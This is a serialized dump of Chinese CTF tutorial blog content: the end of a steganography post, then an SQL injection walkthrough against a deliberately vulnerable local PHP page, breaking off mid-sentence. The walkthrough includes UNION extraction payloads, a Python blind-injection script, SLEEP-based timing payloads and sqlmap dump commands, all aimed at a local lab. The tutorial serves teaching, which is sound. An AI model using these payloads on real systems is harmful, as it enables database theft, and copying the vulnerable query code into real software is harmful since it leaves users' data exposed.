flag.png",[495,5066,5067,5069,5072],{},[510,5068,208],{},[510,5070,5071],{},"提取字符串、指定长度、管道过滤",[510,5073,5074,263,5077,263,5079],{},[29,5075,5076],{},"strings flag.png",[29,5078,1081],{},[29,5080,1084],{},[495,5082,5083,5085,5088],{},[510,5084,4536],{},[510,5086,5087],{},"扫描、提取",[510,5089,5090,263,5093],{},[29,5091,5092],{},"binwalk flag.png",[29,5094,5095],{},"binwalk -e flag.png",[10,5097,5099],{"id":5098},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,5101,1135,5102,300],{},[29,5103,5104],{},"flag.png",[15,5106,5107],{},"第一步：",[22,5109,5111],{"className":24,"code":5110,"language":26,"meta":27,"style":27},"file flag.png\n",[29,5112,5113],{"__ignoreMap":27},[32,5114,5115,5117],{"class":34,"line":35},[32,5116,162],{"class":38},[32,5118,4539],{"class":42},[15,5120,297,5121,300],{},[29,5122,5123],{},"PNG image data",[15,5125,5126],{},"第二步：",[22,5128,5129],{"className":24,"code":4498,"language":26,"meta":27,"style":27},[29,5130,5131],{"__ignoreMap":27},[32,5132,5133,5135,5137,5139,5141,5143],{"class":34,"line":35},[32,5134,208],{"class":38},[32,5136,4415],{"class":42},[32,5138,399],{"class":55},[32,5140,402],{"class":38},[32,5142,4513],{"class":240},[32,5144,4516],{"class":42},[15,5146,5147],{},"无输出。",[15,5149,5150],{},"第三步：",[22,5152,5153],{"className":24,"code":4529,"language":26,"meta":27,"style":27},[29,5154,5155],{"__ignoreMap":27},[32,5156,5157,5159],{"class":34,"line":35},[32,5158,4536],{"class":38},[32,5160,4539],{"class":42},[15,5162,5163],{},"无隐藏文件。",[15,5165,5166],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[22,5168,5170],{"className":5169,"code":4985,"language":174,"meta":27},[172],[29,5171,4985],{"__ignoreMap":27},[10,5173,1336],{"id":1335},[15,5175,5176,5177,5179,5180,1124,5182,5184],{},"Misc 入门三板斧：",[29,5178,162],{}," 看类型、",[29,5181,208],{},[29,5183,4536],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1349,5186,5187],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":27,"searchDepth":46,"depth":46,"links":5189},[5190,5191,5192,5193,5194,5195,5196,5197],{"id":4248,"depth":69,"text":4249},{"id":88,"depth":69,"text":89},{"id":4360,"depth":69,"text":4361},{"id":4522,"depth":69,"text":4523},{"id":4592,"depth":69,"text":4593},{"id":1036,"depth":69,"text":1037},{"id":5098,"depth":69,"text":5099},{"id":1335,"depth":69,"text":1336},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1365,"image":5200,"alt":5201,"tags":5202,"published":1372},"/blogs-img/blog4.png","CTF Misc 入门",[1369,5203],"misc","/blogs/ctf-misc-overview",{"title":4243,"description":5198},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":5209,"title":5210,"body":5211,"description":6603,"extension":1363,"meta":6604,"navigation":1372,"ogImage":6605,"path":6610,"seo":6611,"stem":6612,"__hash__":6613},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":5212,"toc":6592},[5213,5217,5220,5237,5247,5258,5265,5269,5273,5306,5312,5316,5319,5354,5359,5407,5413,5419,5423,5432,5437,5441,5446,5465,5467,5473,5477,5482,5498,5501,5507,5514,5518,5534,5540,5544,5560,5563,5577,5581,5586,5591,5598,5602,5610,5659,5662,5666,5674,5690,5696,5700,5716,5720,5724,5740,5745,5749,5765,5769,5784,5788,5804,5809,5815,5819,5824,5827,5831,5847,5852,5868,5873,5876,5885,6022,6025,6031,6035,6042,6058,6061,6065,6070,6074,6079,6102,6104,6110,6114,6134,6139,6143,6175,6182,6186,6230,6239,6246,6250,6255,6261,6431,6434,6446,6448,6454,6457,6578,6582,6589],[10,5214,5216],{"id":5215},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,5218,5219],{},"普通程序员的查询代码：",[22,5221,5225],{"className":5222,"code":5223,"language":5224,"meta":27,"style":27},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[29,5226,5227,5232],{"__ignoreMap":27},[32,5228,5229],{"class":34,"line":35},[32,5230,5231],{},"$id = $_GET['id'];\n",[32,5233,5234],{"class":34,"line":46},[32,5235,5236],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5238,5239,5242,5243,5246],{},[29,5240,5241],{},"$id"," 被直接拼进 SQL 字符串。当 ",[29,5244,5245],{},"id=1 OR 1=1"," 时：",[22,5248,5252],{"className":5249,"code":5250,"language":5251,"meta":27,"style":27},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[29,5253,5254],{"__ignoreMap":27},[32,5255,5256],{"class":34,"line":35},[32,5257,5250],{},[15,5259,5260,5261,5264],{},"恒真，返回全表。",[135,5262,5263],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5266,5268],{"id":5267},"二环境搭建二选一","二、环境搭建（二选一）",[146,5270,5272],{"id":5271},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[22,5274,5276],{"className":24,"code":5275,"language":26,"meta":27,"style":27},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[29,5277,5278,5289,5296],{"__ignoreMap":27},[32,5279,5280,5283,5286],{"class":34,"line":35},[32,5281,5282],{"class":38},"git",[32,5284,5285],{"class":42}," clone",[32,5287,5288],{"class":42}," https://github.com/Audi-1/sqli-labs.git\n",[32,5290,5291,5293],{"class":34,"line":46},[32,5292,770],{"class":769},[32,5294,5295],{"class":42}," sqli-labs\n",[32,5297,5298,5300,5303],{"class":34,"line":69},[32,5299,5224],{"class":38},[32,5301,5302],{"class":240}," -S",[32,5304,5305],{"class":42}," 127.0.0.1:8000\n",[15,5307,5308,5309,300],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[29,5310,5311],{},"Less-1",[146,5313,5315],{"id":5314},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5317,5318],{},"数据库：",[22,5320,5322],{"className":5249,"code":5321,"language":5251,"meta":27,"style":27},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[29,5323,5324,5329,5334,5339,5344,5349],{"__ignoreMap":27},[32,5325,5326],{"class":34,"line":35},[32,5327,5328],{},"CREATE DATABASE ctf;\n",[32,5330,5331],{"class":34,"line":46},[32,5332,5333],{},"USE ctf;\n",[32,5335,5336],{"class":34,"line":69},[32,5337,5338],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[32,5340,5341],{"class":34,"line":79},[32,5342,5343],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[32,5345,5346],{"class":34,"line":451},[32,5347,5348],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[32,5350,5351],{"class":34,"line":457},[32,5352,5353],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5355,5356,560],{},[29,5357,5358],{},"vuln.php",[22,5360,5362],{"className":5222,"code":5361,"language":5224,"meta":27,"style":27},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[29,5363,5364,5369,5374,5378,5383,5388,5393,5398,5402],{"__ignoreMap":27},[32,5365,5366],{"class":34,"line":35},[32,5367,5368],{},"\u003C?php\n",[32,5370,5371],{"class":34,"line":46},[32,5372,5373],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[32,5375,5376],{"class":34,"line":69},[32,5377,5231],{},[32,5379,5380],{"class":34,"line":79},[32,5381,5382],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[32,5384,5385],{"class":34,"line":451},[32,5386,5387],{},"$result = $conn->query($sql);\n",[32,5389,5390],{"class":34,"line":457},[32,5391,5392],{},"while ($row = $result->fetch_assoc()) {\n",[32,5394,5395],{"class":34,"line":463},[32,5396,5397],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[32,5399,5400],{"class":34,"line":469},[32,5401,2448],{},[32,5403,5404],{"class":34,"line":475},[32,5405,5406],{},"?>\n",[15,5408,5409,5410,300],{},"启动：",[29,5411,5412],{},"php -S 127.0.0.1:8000",[5414,5415,5416],"blockquote",{},[15,5417,5418],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5420,5422],{"id":5421},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5424,5425,5427,5428,5431],{},[135,5426,137],{},"：确认参数 ",[29,5429,5430],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5433,5434,5436],{},[135,5435,143],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[146,5438,5440],{"id":5439},"请求-1正常请求","请求 1：正常请求",[15,5442,5443,5445],{},[135,5444,137],{},"：记录正常响应的样子，作为后续对比的基线。",[22,5447,5449],{"className":24,"code":5448,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[29,5450,5451],{"__ignoreMap":27},[32,5452,5453,5456,5459,5462],{"class":34,"line":35},[32,5454,5455],{"class":38},"curl",[32,5457,5458],{"class":411}," \"",[32,5460,5461],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1",[32,5463,5464],{"class":411},"\"\n",[15,5466,168],{},[22,5468,5471],{"className":5469,"code":5470,"language":174,"meta":27},[172],"1 hello world\n",[29,5472,5470],{"__ignoreMap":27},[146,5474,5476],{"id":5475},"请求-2单引号","请求 2：单引号",[15,5478,5479,5481],{},[135,5480,137],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[22,5483,5485],{"className":24,"code":5484,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[29,5486,5487],{"__ignoreMap":27},[32,5488,5489,5491,5493,5496],{"class":34,"line":35},[32,5490,5455],{"class":38},[32,5492,5458],{"class":411},[32,5494,5495],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1'",[32,5497,5464],{"class":411},[15,5499,5500],{},"预期输出（报错）：",[22,5502,5505],{"className":5503,"code":5504,"language":174,"meta":27},[172],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[29,5506,5504],{"__ignoreMap":27},[15,5508,5509,5510,5513],{},"原因：语句变成 ",[29,5511,5512],{},"WHERE id = 1'","，单引号未闭合。",[146,5515,5517],{"id":5516},"请求-3and-11","请求 3：AND 1=1",[22,5519,5521],{"className":24,"code":5520,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[29,5522,5523],{"__ignoreMap":27},[32,5524,5525,5527,5529,5532],{"class":34,"line":35},[32,5526,5455],{"class":38},[32,5528,5458],{"class":411},[32,5530,5531],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[32,5533,5464],{"class":411},[15,5535,168,5536,5539],{},[29,5537,5538],{},"1 hello world","（条件真）。",[146,5541,5543],{"id":5542},"请求-4and-12","请求 4：AND 1=2",[22,5545,5547],{"className":24,"code":5546,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[29,5548,5549],{"__ignoreMap":27},[32,5550,5551,5553,5555,5558],{"class":34,"line":35},[32,5552,5455],{"class":38},[32,5554,5458],{"class":411},[32,5556,5557],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[32,5559,5464],{"class":411},[15,5561,5562],{},"预期输出：空（条件假）。",[15,5564,5565,5568,5569,5572,5573,5576],{},[135,5566,5567],{},"判定","：单引号报错 + ",[29,5570,5571],{},"1=1"," 正常 + ",[29,5574,5575],{},"1=2"," 为空 → 注入点确认。",[10,5578,5580],{"id":5579},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5582,5583,5585],{},[135,5584,137],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5587,5588,5590],{},[135,5589,143],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5592,5593,5594,5597],{},"前提：第一个查询返回空（用 ",[29,5595,5596],{},"id=-1","），UNION 两个查询列数相同。",[146,5599,5601],{"id":5600},"第-1-步确定列数","第 1 步：确定列数",[15,5603,5604,560,5606,5609],{},[135,5605,143],{},[29,5607,5608],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[22,5611,5613],{"className":24,"code":5612,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[29,5614,5615,5626,5637,5648],{"__ignoreMap":27},[32,5616,5617,5619,5621,5624],{"class":34,"line":35},[32,5618,5455],{"class":38},[32,5620,5458],{"class":411},[32,5622,5623],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[32,5625,5464],{"class":411},[32,5627,5628,5630,5632,5635],{"class":34,"line":46},[32,5629,5455],{"class":38},[32,5631,5458],{"class":411},[32,5633,5634],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[32,5636,5464],{"class":411},[32,5638,5639,5641,5643,5646],{"class":34,"line":69},[32,5640,5455],{"class":38},[32,5642,5458],{"class":411},[32,5644,5645],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[32,5647,5464],{"class":411},[32,5649,5650,5652,5654,5657],{"class":34,"line":79},[32,5651,5455],{"class":38},[32,5653,5458],{"class":411},[32,5655,5656],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[32,5658,5464],{"class":411},[15,5660,5661],{},"前三条正常，第四条报错 → 共 3 列。",[146,5663,5665],{"id":5664},"第-2-步确认回显位","第 2 步：确认回显位",[15,5667,5668,560,5670,5673],{},[135,5669,143],{},[29,5671,5672],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[22,5675,5677],{"className":24,"code":5676,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[29,5678,5679],{"__ignoreMap":27},[32,5680,5681,5683,5685,5688],{"class":34,"line":35},[32,5682,5455],{"class":38},[32,5684,5458],{"class":411},[32,5686,5687],{"class":42},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[32,5689,5464],{"class":411},[15,5691,168,5692,5695],{},[29,5693,5694],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[146,5697,5699],{"id":5698},"第-3-步查数据库名","第 3 步：查数据库名",[22,5701,5703],{"className":24,"code":5702,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[29,5704,5705],{"__ignoreMap":27},[32,5706,5707,5709,5711,5714],{"class":34,"line":35},[32,5708,5455],{"class":38},[32,5710,5458],{"class":411},[32,5712,5713],{"class":42},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[32,5715,5464],{"class":411},[15,5717,168,5718,300],{},[29,5719,1369],{},[146,5721,5723],{"id":5722},"第-4-步查表名","第 4 步：查表名",[22,5725,5727],{"className":24,"code":5726,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[29,5728,5729],{"__ignoreMap":27},[32,5730,5731,5733,5735,5738],{"class":34,"line":35},[32,5732,5455],{"class":38},[32,5734,5458],{"class":411},[32,5736,5737],{"class":42},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[32,5739,5464],{"class":411},[15,5741,168,5742,300],{},[29,5743,5744],{},"articles,flag,users",[146,5746,5748],{"id":5747},"第-5-步查列名","第 5 步：查列名",[22,5750,5752],{"className":24,"code":5751,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[29,5753,5754],{"__ignoreMap":27},[32,5755,5756,5758,5760,5763],{"class":34,"line":35},[32,5757,5455],{"class":38},[32,5759,5458],{"class":411},[32,5761,5762],{"class":42},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[32,5764,5464],{"class":411},[15,5766,168,5767,300],{},[29,5768,3279],{},[15,5770,5771,5774,5775,5777,5778,5780,5781,5783],{},[135,5772,5773],{},"说明","：如果第 4 步看到多个表，比如 ",[29,5776,5744],{},"，优先怀疑 ",[29,5779,3279],{}," 表；列名可能不是 ",[29,5782,3279],{},"，需要本步用 information_schema.columns 确认。",[146,5785,5787],{"id":5786},"第-6-步拿数据","第 6 步：拿数据",[22,5789,5791],{"className":24,"code":5790,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[29,5792,5793],{"__ignoreMap":27},[32,5794,5795,5797,5799,5802],{"class":34,"line":35},[32,5796,5455],{"class":38},[32,5798,5458],{"class":411},[32,5800,5801],{"class":42},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[32,5803,5464],{"class":411},[15,5805,168,5806,300],{},[29,5807,5808],{},"flag{sql_injection}",[15,5810,5811,5814],{},[135,5812,5813],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5816,5818],{"id":5817},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5820,5821,5823],{},[135,5822,137],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5825,5826],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[146,5828,5830],{"id":5829},"_51-布尔盲注","5.1 布尔盲注",[22,5832,5834],{"className":24,"code":5833,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[29,5835,5836],{"__ignoreMap":27},[32,5837,5838,5840,5842,5845],{"class":34,"line":35},[32,5839,5455],{"class":38},[32,5841,5458],{"class":411},[32,5843,5844],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[32,5846,5464],{"class":411},[15,5848,5849,5850,300],{},"正常 → 库名第一个字符是 ",[29,5851,817],{},[22,5853,5855],{"className":24,"code":5854,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[29,5856,5857],{"__ignoreMap":27},[32,5858,5859,5861,5863,5866],{"class":34,"line":35},[32,5860,5455],{"class":38},[32,5862,5458],{"class":411},[32,5864,5865],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[32,5867,5464],{"class":411},[15,5869,5870,5871,300],{},"为空 → 不是 ",[29,5872,3473],{},[15,5874,5875],{},"自动化脚本：",[15,5877,5878,5880,5881,5884],{},[135,5879,143],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[29,5882,5883],{},"hello","）就说明猜对，把字符记下再问下一位。",[22,5886,5888],{"className":1237,"code":5887,"language":1239,"meta":27,"style":27},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[29,5889,5890,5895,5900,5904,5909,5914,5918,5923,5928,5933,5938,5943,5948,5953,5958,5963,5968,5973,5978,5983,5988,5993,5998,6003,6008,6013,6017],{"__ignoreMap":27},[32,5891,5892],{"class":34,"line":35},[32,5893,5894],{},"import requests, string\n",[32,5896,5897],{"class":34,"line":46},[32,5898,5899],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[32,5901,5902],{"class":34,"line":69},[32,5903,2433],{"emptyLinePlaceholder":1372},[32,5905,5906],{"class":34,"line":79},[32,5907,5908],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[32,5910,5911],{"class":34,"line":451},[32,5912,5913],{},"result = \"\"          # 保存已确认的 flag 片段\n",[32,5915,5916],{"class":34,"line":457},[32,5917,2433],{"emptyLinePlaceholder":1372},[32,5919,5920],{"class":34,"line":463},[32,5921,5922],{},"for pos in range(1, 50):\n",[32,5924,5925],{"class":34,"line":469},[32,5926,5927],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[32,5929,5930],{"class":34,"line":475},[32,5931,5932],{},"    found = False\n",[32,5934,5935],{"class":34,"line":481},[32,5936,5937],{},"    for ch in string.printable:\n",[32,5939,5940],{"class":34,"line":1294},[32,5941,5942],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[32,5944,5945],{"class":34,"line":1300},[32,5946,5947],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[32,5949,5950],{"class":34,"line":2478},[32,5951,5952],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[32,5954,5955],{"class":34,"line":2484},[32,5956,5957],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[32,5959,5960],{"class":34,"line":2490},[32,5961,5962],{},"        r = requests.get(url, params={\"id\": payload})\n",[32,5964,5965],{"class":34,"line":2496},[32,5966,5967],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[32,5969,5970],{"class":34,"line":2502},[32,5971,5972],{},"        # r.text：响应正文。\n",[32,5974,5975],{"class":34,"line":2508},[32,5976,5977],{},"        if \"hello\" in r.text:\n",[32,5979,5980],{"class":34,"line":2514},[32,5981,5982],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[32,5984,5985],{"class":34,"line":3954},[32,5986,5987],{},"            result += ch\n",[32,5989,5990],{"class":34,"line":3960},[32,5991,5992],{},"            print(result)\n",[32,5994,5995],{"class":34,"line":3966},[32,5996,5997],{},"            found = True\n",[32,5999,6000],{"class":34,"line":3972},[32,6001,6002],{},"            break\n",[32,6004,6005],{"class":34,"line":3978},[32,6006,6007],{},"    if not found or result.endswith('}'):\n",[32,6009,6010],{"class":34,"line":4743},[32,6011,6012],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[32,6014,6015],{"class":34,"line":4748},[32,6016,3645],{},[32,6018,6019],{"class":34,"line":4754},[32,6020,6021],{},"print(\"flag:\", result)\n",[15,6023,6024],{},"运行过程输出（节选）：",[22,6026,6029],{"className":6027,"code":6028,"language":174,"meta":27},[172],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[29,6030,6028],{"__ignoreMap":27},[146,6032,6034],{"id":6033},"_52-时间盲注","5.2 时间盲注",[15,6036,6037,6038,6041],{},"页面连\"正常/异常\"都无法区分时，用 ",[29,6039,6040],{},"SLEEP"," 制造时间差：",[22,6043,6045],{"className":24,"code":6044,"language":26,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[29,6046,6047],{"__ignoreMap":27},[32,6048,6049,6051,6053,6056],{"class":34,"line":35},[32,6050,5455],{"class":38},[32,6052,5458],{"class":411},[32,6054,6055],{"class":42},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[32,6057,5464],{"class":411},[15,6059,6060],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,6062,6064],{"id":6063},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,6066,6067,6069],{},[135,6068,137],{},"：手工确认后，用工具批量完成拖库，效率更高。",[146,6071,6073],{"id":6072},"命令-1检测","命令 1：检测",[15,6075,6076,6078],{},[135,6077,143],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[22,6080,6082],{"className":24,"code":6081,"language":26,"meta":27,"style":27},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[29,6083,6084],{"__ignoreMap":27},[32,6085,6086,6089,6092,6094,6096,6099],{"class":34,"line":35},[32,6087,6088],{"class":38},"sqlmap",[32,6090,6091],{"class":240}," -u",[32,6093,5458],{"class":411},[32,6095,5461],{"class":42},[32,6097,6098],{"class":411},"\"",[32,6100,6101],{"class":240}," --batch\n",[15,6103,421],{},[22,6105,6108],{"className":6106,"code":6107,"language":174,"meta":27},[172],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[29,6109,6107],{"__ignoreMap":27},[146,6111,6113],{"id":6112},"命令-2列库","命令 2：列库",[22,6115,6117],{"className":24,"code":6116,"language":26,"meta":27,"style":27},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[29,6118,6119],{"__ignoreMap":27},[32,6120,6121,6123,6125,6127,6129,6131],{"class":34,"line":35},[32,6122,6088],{"class":38},[32,6124,6091],{"class":240},[32,6126,5458],{"class":411},[32,6128,5461],{"class":42},[32,6130,6098],{"class":411},[32,6132,6133],{"class":240}," --dbs\n",[15,6135,6136,6137,300],{},"预期输出：数据库列表，含 ",[29,6138,1369],{},[146,6140,6142],{"id":6141},"命令-3导出数据","命令 3：导出数据",[22,6144,6146],{"className":24,"code":6145,"language":26,"meta":27,"style":27},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[29,6147,6148],{"__ignoreMap":27},[32,6149,6150,6152,6154,6156,6158,6160,6163,6166,6169,6172],{"class":34,"line":35},[32,6151,6088],{"class":38},[32,6153,6091],{"class":240},[32,6155,5458],{"class":411},[32,6157,5461],{"class":42},[32,6159,6098],{"class":411},[32,6161,6162],{"class":240}," -D",[32,6164,6165],{"class":42}," ctf",[32,6167,6168],{"class":240}," -T",[32,6170,6171],{"class":42}," flag",[32,6173,6174],{"class":240}," --dump\n",[15,6176,168,6177,6179,6180,300],{},[29,6178,3279],{}," 